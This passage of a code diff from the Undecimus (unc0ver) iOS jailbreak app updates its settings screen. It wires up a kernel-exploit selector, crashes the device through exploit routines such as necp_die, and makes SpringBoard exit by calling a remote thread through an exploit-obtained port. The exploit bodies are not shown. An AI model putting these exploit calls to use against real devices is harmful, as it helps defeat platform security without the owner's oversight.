md[@"ProductVersion"] = [[NSMutableDictionary alloc] initWithContentsOfFile:@"/System/Library/CoreServices/SystemVersion.plist"][@"ProductVersion"];
|
||||
md[@"ProductBuildVersion"] = [[NSMutableDictionary alloc] initWithContentsOfFile:@"/System/Library/CoreServices/SystemVersion.plist"][@"ProductBuildVersion"];
|
||||
md[@"ProductVersion"] = [NSMutableDictionary dictionaryWithContentsOfFile:@"/System/Library/CoreServices/SystemVersion.plist"][@"ProductVersion"];
|
||||
md[@"ProductBuildVersion"] = [NSMutableDictionary dictionaryWithContentsOfFile:@"/System/Library/CoreServices/SystemVersion.plist"][@"ProductBuildVersion"];
|
||||
md[@"Sources"] = [SettingsTableViewController sourcesFromFile:CYDIA_LIST];
|
||||
md[@"Packages"] = [SettingsTableViewController parsedPackageArray];
|
||||
md[@"Preferences"] = [[NSMutableDictionary alloc] init];
|
||||
md[@"Preferences"][@"TweakInjection"] = [[NSUserDefaults standardUserDefaults] objectForKey:@K_TWEAK_INJECTION];
|
||||
md[@"Preferences"][@"LoadDaemons"] = [[NSUserDefaults standardUserDefaults] objectForKey:@K_LOAD_DAEMONS];
|
||||
md[@"Preferences"][@"DumpAPTicket"] = [[NSUserDefaults standardUserDefaults] objectForKey:@K_DUMP_APTICKET];
|
||||
md[@"Preferences"][@"RefreshIconCache"] = [[NSUserDefaults standardUserDefaults] objectForKey:@K_REFRESH_ICON_CACHE];
|
||||
md[@"Preferences"][@"BootNonce"] = [[NSUserDefaults standardUserDefaults] objectForKey:@K_BOOT_NONCE];
|
||||
md[@"Preferences"][@"Exploit"] = [[NSUserDefaults standardUserDefaults] objectForKey:@K_EXPLOIT];
|
||||
md[@"Preferences"][@"DisableAutoUpdates"] = [[NSUserDefaults standardUserDefaults] objectForKey:@K_DISABLE_AUTO_UPDATES];
|
||||
md[@"Preferences"][@"DisableAppRevokes"] = [[NSUserDefaults standardUserDefaults] objectForKey:@K_DISABLE_APP_REVOKES];
|
||||
md[@"Preferences"][@"OverwriteBootNonce"] = [[NSUserDefaults standardUserDefaults] objectForKey:@K_OVERWRITE_BOOT_NONCE];
|
||||
md[@"Preferences"][@"ExportKernelTaskPort"] = [[NSUserDefaults standardUserDefaults] objectForKey:@K_EXPORT_KERNEL_TASK_PORT];
|
||||
md[@"Preferences"][@"RestoreRootFS"] = [[NSUserDefaults standardUserDefaults] objectForKey:@K_RESTORE_ROOTFS];
|
||||
md[@"Preferences"][@"IncreaseMemoryLimit"] = [[NSUserDefaults standardUserDefaults] objectForKey:@K_INCREASE_MEMORY_LIMIT];
|
||||
md[@"Preferences"][@"InstallCydia"] = [[NSUserDefaults standardUserDefaults] objectForKey:@K_INSTALL_CYDIA];
|
||||
md[@"Preferences"][@"InstallOpenSSH"] = [[NSUserDefaults standardUserDefaults] objectForKey:@K_INSTALL_OPENSSH];
|
||||
md[@"AppVersion"] = [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleShortVersionString"];
|
||||
md[@"LogFile"] = [NSString stringWithContentsOfFile:[NSString stringWithUTF8String:LOG_FILE] encoding:NSUTF8StringEncoding error:nil];
|
||||
md[@"Preferences"] = [NSMutableDictionary new];
|
||||
md[@"Preferences"][@"TweakInjection"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_TWEAK_INJECTION];
|
||||
md[@"Preferences"][@"LoadDaemons"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_LOAD_DAEMONS];
|
||||
md[@"Preferences"][@"DumpAPTicket"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_DUMP_APTICKET];
|
||||
md[@"Preferences"][@"RefreshIconCache"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_REFRESH_ICON_CACHE];
|
||||
md[@"Preferences"][@"BootNonce"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_BOOT_NONCE];
|
||||
md[@"Preferences"][@"Exploit"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_EXPLOIT];
|
||||
md[@"Preferences"][@"DisableAutoUpdates"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_DISABLE_AUTO_UPDATES];
|
||||
md[@"Preferences"][@"DisableAppRevokes"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_DISABLE_APP_REVOKES];
|
||||
md[@"Preferences"][@"OverwriteBootNonce"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_OVERWRITE_BOOT_NONCE];
|
||||
md[@"Preferences"][@"ExportKernelTaskPort"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_EXPORT_KERNEL_TASK_PORT];
|
||||
md[@"Preferences"][@"RestoreRootFS"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_RESTORE_ROOTFS];
|
||||
md[@"Preferences"][@"IncreaseMemoryLimit"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_INCREASE_MEMORY_LIMIT];
|
||||
md[@"Preferences"][@"InstallCydia"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_INSTALL_CYDIA];
|
||||
md[@"Preferences"][@"InstallOpenSSH"] = [[NSUserDefaults standardUserDefaults] objectForKey:K_INSTALL_OPENSSH];
|
||||
md[@"AppVersion"] = appVersion();
|
||||
md[@"LogFile"] = [NSString stringWithContentsOfFile:[NSString stringWithUTF8String:getLogFile()] encoding:NSUTF8StringEncoding error:nil];
|
||||
return md;
|
||||
}
|
||||
|
||||
@@ -224,46 +225,48 @@
|
||||
}
|
||||
|
||||
- (void)reloadData {
|
||||
[self.TweakInjectionSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:@K_TWEAK_INJECTION]];
|
||||
[self.LoadDaemonsSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:@K_LOAD_DAEMONS]];
|
||||
[self.DumpAPTicketSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:@K_DUMP_APTICKET]];
|
||||
[self.BootNonceTextField setPlaceholder:[[NSUserDefaults standardUserDefaults] objectForKey:@K_BOOT_NONCE]];
|
||||
[self.TweakInjectionSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_TWEAK_INJECTION]];
|
||||
[self.LoadDaemonsSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_LOAD_DAEMONS]];
|
||||
[self.DumpAPTicketSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_DUMP_APTICKET]];
|
||||
[self.BootNonceTextField setPlaceholder:[[NSUserDefaults standardUserDefaults] objectForKey:K_BOOT_NONCE]];
|
||||
[self.BootNonceTextField setText:nil];
|
||||
[self.RefreshIconCacheSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:@K_REFRESH_ICON_CACHE]];
|
||||
[self.KernelExploitSegmentedControl setSelectedSegmentIndex:[[NSUserDefaults standardUserDefaults] integerForKey:@K_EXPLOIT]];
|
||||
[self.DisableAutoUpdatesSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:@K_DISABLE_AUTO_UPDATES]];
|
||||
[self.DisableAppRevokesSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:@K_DISABLE_APP_REVOKES]];
|
||||
[self.KernelExploitSegmentedControl setEnabled:isSupportedByExploit(EMPTY_LIST) forSegmentAtIndex:0];
|
||||
[self.KernelExploitSegmentedControl setEnabled:isSupportedByExploit(MULTI_PATH) && hasMPTCP() forSegmentAtIndex:1];
|
||||
[self.KernelExploitSegmentedControl setEnabled:isSupportedByExploit(ASYNC_WAKE) forSegmentAtIndex:2];
|
||||
[self.RefreshIconCacheSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_REFRESH_ICON_CACHE]];
|
||||
[self.KernelExploitSegmentedControl setSelectedSegmentIndex:[[NSUserDefaults standardUserDefaults] integerForKey:K_EXPLOIT]];
|
||||
[self.DisableAutoUpdatesSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_DISABLE_AUTO_UPDATES]];
|
||||
[self.DisableAppRevokesSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_DISABLE_APP_REVOKES]];
|
||||
[self.KernelExploitSegmentedControl setEnabled:supportsExploit(empty_list_exploit) forSegmentAtIndex:0];
|
||||
[self.KernelExploitSegmentedControl setEnabled:supportsExploit(multi_path_exploit) forSegmentAtIndex:1];
|
||||
[self.KernelExploitSegmentedControl setEnabled:supportsExploit(async_wake_exploit) forSegmentAtIndex:2];
|
||||
[self.OpenCydiaButton setEnabled:[[UIApplication sharedApplication] canOpenURL:[NSURL URLWithString:@"cydia://"]]];
|
||||
[self.ExpiryLabel setPlaceholder:[NSString stringWithFormat:@"%d Days", (int)[[SettingsTableViewController _provisioningProfileAtPath:[[NSBundle mainBundle] pathForResource:@"embedded" ofType:@"mobileprovision"]][@"ExpirationDate"] timeIntervalSinceDate:[NSDate date]] / 86400]];
|
||||
[self.OverwriteBootNonceSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:@K_OVERWRITE_BOOT_NONCE]];
|
||||
[self.ExportKernelTaskPortSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:@K_EXPORT_KERNEL_TASK_PORT]];
|
||||
[self.RestoreRootFSSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:@K_RESTORE_ROOTFS]];
|
||||
[self.UptimeLabel setPlaceholder:[NSString stringWithFormat:@"%d Days", (int)uptime() / 86400]];
|
||||
[self.IncreaseMemoryLimitSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:@K_INCREASE_MEMORY_LIMIT]];
|
||||
[self.installSSHSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:@K_INSTALL_OPENSSH]];
|
||||
[self.installCydiaSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:@K_INSTALL_CYDIA]];
|
||||
[self.ECIDLabel setPlaceholder:hexFromInt([[[NSUserDefaults standardUserDefaults] objectForKey:@K_ECID] integerValue])];
|
||||
[self.ReloadSystemDaemonsSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:@K_RELOAD_SYSTEM_DAEMONS]];
|
||||
[self.RestartSpringBoardButton setEnabled:isSupportedByRespring()];
|
||||
[self.restartButton setEnabled:isSupportedByRestart()];
|
||||
[self.ExpiryLabel setPlaceholder:[NSString stringWithFormat:@"%d %@", (int)[[SettingsTableViewController _provisioningProfileAtPath:[[NSBundle mainBundle] pathForResource:@"embedded" ofType:@"mobileprovision"]][@"ExpirationDate"] timeIntervalSinceDate:[NSDate date]] / 86400, NSLocalizedString(@"Days", nil)]];
|
||||
[self.OverwriteBootNonceSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_OVERWRITE_BOOT_NONCE]];
|
||||
[self.ExportKernelTaskPortSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_EXPORT_KERNEL_TASK_PORT]];
|
||||
[self.RestoreRootFSSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_RESTORE_ROOTFS]];
|
||||
[self.UptimeLabel setPlaceholder:[NSString stringWithFormat:@"%d %@", (int)uptime() / 86400, NSLocalizedString(@"Days", nil)]];
|
||||
[self.IncreaseMemoryLimitSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_INCREASE_MEMORY_LIMIT]];
|
||||
[self.installSSHSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_INSTALL_OPENSSH]];
|
||||
[self.installCydiaSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_INSTALL_CYDIA]];
|
||||
[self.ECIDLabel setPlaceholder:hexFromInt([[[NSUserDefaults standardUserDefaults] objectForKey:K_ECID] integerValue])];
|
||||
[self.ReloadSystemDaemonsSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_RELOAD_SYSTEM_DAEMONS]];
|
||||
[self.HideLogWindowSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_HIDE_LOG_WINDOW]];
|
||||
[self.ResetCydiaCacheSwitch setOn:[[NSUserDefaults standardUserDefaults] boolForKey:K_RESET_CYDIA_CACHE]];
|
||||
[self.RestartSpringBoardButton setEnabled:respringSupported()];
|
||||
[self.restartButton setEnabled:restartSupported()];
|
||||
[self.tableView reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)TweakInjectionSwitchTriggered:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.TweakInjectionSwitch isOn] forKey:@K_TWEAK_INJECTION];
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.TweakInjectionSwitch isOn] forKey:K_TWEAK_INJECTION];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
- (IBAction)LoadDaemonsSwitchTriggered:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.LoadDaemonsSwitch isOn] forKey:@K_LOAD_DAEMONS];
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.LoadDaemonsSwitch isOn] forKey:K_LOAD_DAEMONS];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
- (IBAction)DumpAPTicketSwitchTriggered:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.DumpAPTicketSwitch isOn] forKey:@K_DUMP_APTICKET];
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.DumpAPTicketSwitch isOn] forKey:K_DUMP_APTICKET];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
@@ -271,11 +274,11 @@
|
||||
- (IBAction)BootNonceTextFieldTriggered:(id)sender {
|
||||
uint64_t val = 0;
|
||||
if ([[NSScanner scannerWithString:[self.BootNonceTextField text]] scanHexLongLong:&val] && val != HUGE_VAL && val != -HUGE_VAL) {
|
||||
[[NSUserDefaults standardUserDefaults] setObject:[NSString stringWithFormat:@ADDR, val] forKey:@K_BOOT_NONCE];
|
||||
[[NSUserDefaults standardUserDefaults] setObject:[NSString stringWithFormat:@ADDR, val] forKey:K_BOOT_NONCE];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
} else {
|
||||
UIAlertController *alertController = [UIAlertController alertControllerWithTitle:@"Invalid Entry" message:@"The boot nonce entered could not be parsed" preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction *OK = [UIAlertAction actionWithTitle:@"OK" style:UIAlertActionStyleDefault handler:nil];
|
||||
UIAlertController *alertController = [UIAlertController alertControllerWithTitle:NSLocalizedString(@"Invalid Entry", nil) message:NSLocalizedString(@"The boot nonce entered could not be parsed", nil) preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction *OK = [UIAlertAction actionWithTitle:NSLocalizedString(@"OK", nil) style:UIAlertActionStyleDefault handler:nil];
|
||||
[alertController addAction:OK];
|
||||
[self presentViewController:alertController animated:YES completion:nil];
|
||||
}
|
||||
@@ -283,55 +286,41 @@
|
||||
}
|
||||
|
||||
- (IBAction)RefreshIconCacheSwitchTriggered:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.RefreshIconCacheSwitch isOn] forKey:@K_REFRESH_ICON_CACHE];
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.RefreshIconCacheSwitch isOn] forKey:K_REFRESH_ICON_CACHE];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
- (IBAction)KernelExploitSegmentedControl:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setInteger:self.KernelExploitSegmentedControl.selectedSegmentIndex forKey:@K_EXPLOIT];
|
||||
[[NSUserDefaults standardUserDefaults] setInteger:self.KernelExploitSegmentedControl.selectedSegmentIndex forKey:K_EXPLOIT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)DisableAppRevokesSwitchTriggered:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.DisableAppRevokesSwitch isOn] forKey:@K_DISABLE_APP_REVOKES];
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.DisableAppRevokesSwitch isOn] forKey:K_DISABLE_APP_REVOKES];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
extern void iosurface_die(void);
|
||||
extern int vfs_die(void);
|
||||
extern int mptcp_die(void);
|
||||
extern int necp_die(void);
|
||||
|
||||
- (IBAction)tappedOnRestart:(id)sender {
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), ^{
|
||||
NOTICE("The device will be restarted.", 1, 0);
|
||||
switch (selectRestartExploit()) {
|
||||
case EMPTY_LIST: {
|
||||
vfs_die();
|
||||
break;
|
||||
}
|
||||
case ASYNC_WAKE: {
|
||||
iosurface_die();
|
||||
break;
|
||||
}
|
||||
case MULTI_PATH: {
|
||||
mptcp_die();
|
||||
break;
|
||||
}
|
||||
case NECP: {
|
||||
NOTICE(NSLocalizedString(@"The device will be restarted.", nil), true, false);
|
||||
NSInteger support = recommendedRestartSupport();
|
||||
_assert(support != -1, message, true);
|
||||
switch (support) {
|
||||
case necp_exploit: {
|
||||
necp_die();
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
exit(EXIT_FAILURE);
|
||||
});
|
||||
}
|
||||
|
||||
- (IBAction)DisableAutoUpdatesSwitchTriggered:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.DisableAutoUpdatesSwitch isOn] forKey:@K_DISABLE_AUTO_UPDATES];
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.DisableAutoUpdatesSwitch isOn] forKey:K_DISABLE_AUTO_UPDATES];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
@@ -355,115 +344,131 @@ extern int necp_die(void);
|
||||
}
|
||||
|
||||
- (IBAction)OverwriteBootNonceSwitchTriggered:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.OverwriteBootNonceSwitch isOn] forKey:@K_OVERWRITE_BOOT_NONCE];
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.OverwriteBootNonceSwitch isOn] forKey:K_OVERWRITE_BOOT_NONCE];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnCopyNonce:(id)sender{
|
||||
UIAlertController *copyBootNonceAlert = [UIAlertController alertControllerWithTitle:@"Copy boot nonce?" message:@"Would you like to copy nonce generator to clipboard?" preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction *copyAction = [UIAlertAction actionWithTitle:@"Yes" style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
[[UIPasteboard generalPasteboard] setString:[[NSUserDefaults standardUserDefaults] objectForKey:@K_BOOT_NONCE]];
|
||||
UIAlertController *copyBootNonceAlert = [UIAlertController alertControllerWithTitle:NSLocalizedString(@"Copy boot nonce?", nil) message:NSLocalizedString(@"Would you like to copy nonce generator to clipboard?", nil) preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction *copyAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"Yes", nil) style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
[[UIPasteboard generalPasteboard] setString:[[NSUserDefaults standardUserDefaults] objectForKey:K_BOOT_NONCE]];
|
||||
}];
|
||||
UIAlertAction *noAction = [UIAlertAction actionWithTitle:@"No" style:UIAlertActionStyleCancel handler:nil];
|
||||
UIAlertAction *noAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"No", nil) style:UIAlertActionStyleCancel handler:nil];
|
||||
[copyBootNonceAlert addAction:copyAction];
|
||||
[copyBootNonceAlert addAction:noAction];
|
||||
[self presentViewController:copyBootNonceAlert animated:TRUE completion:nil];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnCopyECID:(id)sender {
|
||||
UIAlertController *copyBootNonceAlert = [UIAlertController alertControllerWithTitle:@"Copy ECID?" message:@"Would you like to ECID to clipboard?" preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction *copyAction = [UIAlertAction actionWithTitle:@"Yes" style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
[[UIPasteboard generalPasteboard] setString:hexFromInt([[[NSUserDefaults standardUserDefaults] objectForKey:@K_ECID] integerValue])];
|
||||
UIAlertController *copyBootNonceAlert = [UIAlertController alertControllerWithTitle:NSLocalizedString(@"Copy ECID?", nil) message:NSLocalizedString(@"Would you like to ECID to clipboard?", nil) preferredStyle:UIAlertControllerStyleAlert];
|
||||
UIAlertAction *copyAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"Yes", nil) style:UIAlertActionStyleDefault handler:^(UIAlertAction * _Nonnull action) {
|
||||
[[UIPasteboard generalPasteboard] setString:hexFromInt([[[NSUserDefaults standardUserDefaults] objectForKey:K_ECID] integerValue])];
|
||||
}];
|
||||
UIAlertAction *noAction = [UIAlertAction actionWithTitle:@"No" style:UIAlertActionStyleCancel handler:nil];
|
||||
UIAlertAction *noAction = [UIAlertAction actionWithTitle:NSLocalizedString(@"No", nil) style:UIAlertActionStyleCancel handler:nil];
|
||||
[copyBootNonceAlert addAction:copyAction];
|
||||
[copyBootNonceAlert addAction:noAction];
|
||||
[self presentViewController:copyBootNonceAlert animated:TRUE completion:nil];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnGetTechnicalSupport:(id)sender {
|
||||
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"https://discord.gg/jb"] options:@{} completionHandler:nil];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnCheckForUpdate:(id)sender {
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), ^{
|
||||
NSString *Update = [NSString stringWithContentsOfURL:[NSURL URLWithString:@"https://github.com/pwn20wndstuff/Undecimus/raw/master/Update.txt"] encoding:NSUTF8StringEncoding error:nil];
|
||||
if (Update == nil) {
|
||||
NOTICE("Failed to check for update.", 1, 0);
|
||||
} else if ([Update isEqualToString:[NSString stringWithFormat:@"%@\n", [[NSBundle mainBundle] objectForInfoDictionaryKey:@"CFBundleShortVersionString"]]]) {
|
||||
NOTICE("Already up to date.", 1, 0);
|
||||
NOTICE(NSLocalizedString(@"Failed to check for update.", nil), true, false);
|
||||
} else if ([Update compare:appVersion() options:NSNumericSearch] == NSOrderedDescending) {
|
||||
NOTICE(NSLocalizedString(@"An update is available.", nil), true, false);
|
||||
} else {
|
||||
NOTICE("An update is available.", 1, 0);
|
||||
NOTICE(NSLocalizedString(@"Already up to date.", nil), true, false);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
- (IBAction)exportKernelTaskPortSwitchTriggered:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.ExportKernelTaskPortSwitch isOn] forKey:@K_EXPORT_KERNEL_TASK_PORT];
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.ExportKernelTaskPortSwitch isOn] forKey:K_EXPORT_KERNEL_TASK_PORT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
- (IBAction)RestoreRootFSSwitchTriggered:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.RestoreRootFSSwitch isOn] forKey:@K_RESTORE_ROOTFS];
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.RestoreRootFSSwitch isOn] forKey:K_RESTORE_ROOTFS];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)installCydiaSwitchTriggered:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.installCydiaSwitch isOn] forKey:@K_INSTALL_CYDIA];
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.installCydiaSwitch isOn] forKey:K_INSTALL_CYDIA];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)installSSHSwitchTriggered:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.installSSHSwitch isOn] forKey:@K_INSTALL_OPENSSH];
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.installSSHSwitch isOn] forKey:K_INSTALL_OPENSSH];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (void)tableView:(UITableView *)tableView willDisplayFooterView:(UITableViewHeaderFooterView *)footerView forSection:(NSInteger)section {
|
||||
footerView.textLabel.text = [@"unc0ver " stringByAppendingString:appVersion()];
|
||||
footerView.textLabel.textAlignment = NSTextAlignmentCenter;
|
||||
}
|
||||
|
||||
- (IBAction)IncreaseMemoryLimitSwitch:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.IncreaseMemoryLimitSwitch isOn] forKey:@K_INCREASE_MEMORY_LIMIT];
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.IncreaseMemoryLimitSwitch isOn] forKey:K_INCREASE_MEMORY_LIMIT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnAutomaticallySelectExploit:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setInteger:selectJailbreakExploit() forKey:@K_EXPLOIT];
|
||||
[[NSUserDefaults standardUserDefaults] setInteger:recommendedJailbreakSupport() forKey:K_EXPLOIT];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)reloadSystemDaemonsSwitchTriggered:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.ReloadSystemDaemonsSwitch isOn] forKey:@K_RELOAD_SYSTEM_DAEMONS];
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.ReloadSystemDaemonsSwitch isOn] forKey:K_RELOAD_SYSTEM_DAEMONS];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (IBAction)tappedRestartSpringBoard:(id)sender {
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), ^{
|
||||
SETMESSAGE("Failed to restart SpringBoard.");
|
||||
NOTICE("SpringBoard will be restarted.", 1, 0);
|
||||
switch (selectRespringExploit()) {
|
||||
case DEJA_XNU: {
|
||||
SETMESSAGE(NSLocalizedString(@"Failed to restart SpringBoard.", nil));
|
||||
NOTICE(NSLocalizedString(@"SpringBoard will be restarted.", nil), true, false);
|
||||
NSInteger support = recommendedRespringSupport();
|
||||
_assert(support != -1, message, true);
|
||||
switch (support) {
|
||||
case deja_xnu_exploit: {
|
||||
mach_port_t bb_tp = hid_event_queue_exploit();
|
||||
_assert(MACH_PORT_VALID(bb_tp), message);
|
||||
_assert(thread_call_remote(bb_tp, exit, 1, REMOTE_LITERAL(0)) == 0, message);
|
||||
_assert(MACH_PORT_VALID(bb_tp), message, true);
|
||||
_assert(thread_call_remote(bb_tp, exit, 1, REMOTE_LITERAL(EXIT_SUCCESS)) == ERR_SUCCESS, message, true);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
exit(EXIT_FAILURE);
|
||||
});
|
||||
}
|
||||
|
||||
- (IBAction)tappedOnCleanDiagnosticsData:(id)sender {
|
||||
RESET_LOGS();
|
||||
START_LOGGING();
|
||||
cleanLogs();
|
||||
NOTICE(NSLocalizedString(@"Cleaned diagnostics data.", nil), false, false);
|
||||
}
|
||||
|
||||
- (IBAction)hideLogWindowSwitchTriggered:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.HideLogWindowSwitch isOn] forKey:K_HIDE_LOG_WINDOW];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_HIGH, 0ul), ^{
|
||||
NOTICE(NSLocalizedString(@"Preference was changed. The app will now exit.", nil), true, false);
|
||||
exit(EXIT_SUCCESS);
|
||||
});
|
||||
}
|
||||
|
||||
- (IBAction)resetCydiaCacheSwitchTriggered:(id)sender {
|
||||
[[NSUserDefaults standardUserDefaults] setBool:[self.ResetCydiaCacheSwitch isOn] forKey:K_RESET_CYDIA_CACHE];
|
||||
[[NSUserDefaults standardUserDefaults] synchronize];
|
||||
[self reloadData];
|
||||
}
|
||||
|
||||
- (void)didReceiveMemoryWarning {
|
||||
|
||||
@@ -1,77 +0,0 @@
|
||||
//
|
||||
// ViewController.h
|
||||
// Undecimus
|
||||
//
|
||||
// Created by pwn20wnd on 8/29/18.
|
||||
// Copyright © 2018 Pwn20wnd. All rights reserved.
|
||||
//
|
||||
|
||||
#import <UIKit/UIKit.h>
|
||||
|
||||
#define __FILENAME__ (__builtin_strrchr(__FILE__, '/') ? __builtin_strrchr(__FILE__, '/') + 1 : __FILE__)
|
||||
|
||||
static const char *message = NULL;
|
||||
#define SETMESSAGE(msg) (message = msg)
|
||||
|
||||
#define _assert(test, message) do \
|
||||
if (!(test)) { \
|
||||
fprintf(stderr, "__assert(%d:%s)@%s:%u[%s]\n", errno, #test, __FILENAME__, __LINE__, __FUNCTION__); \
|
||||
if (message) \
|
||||
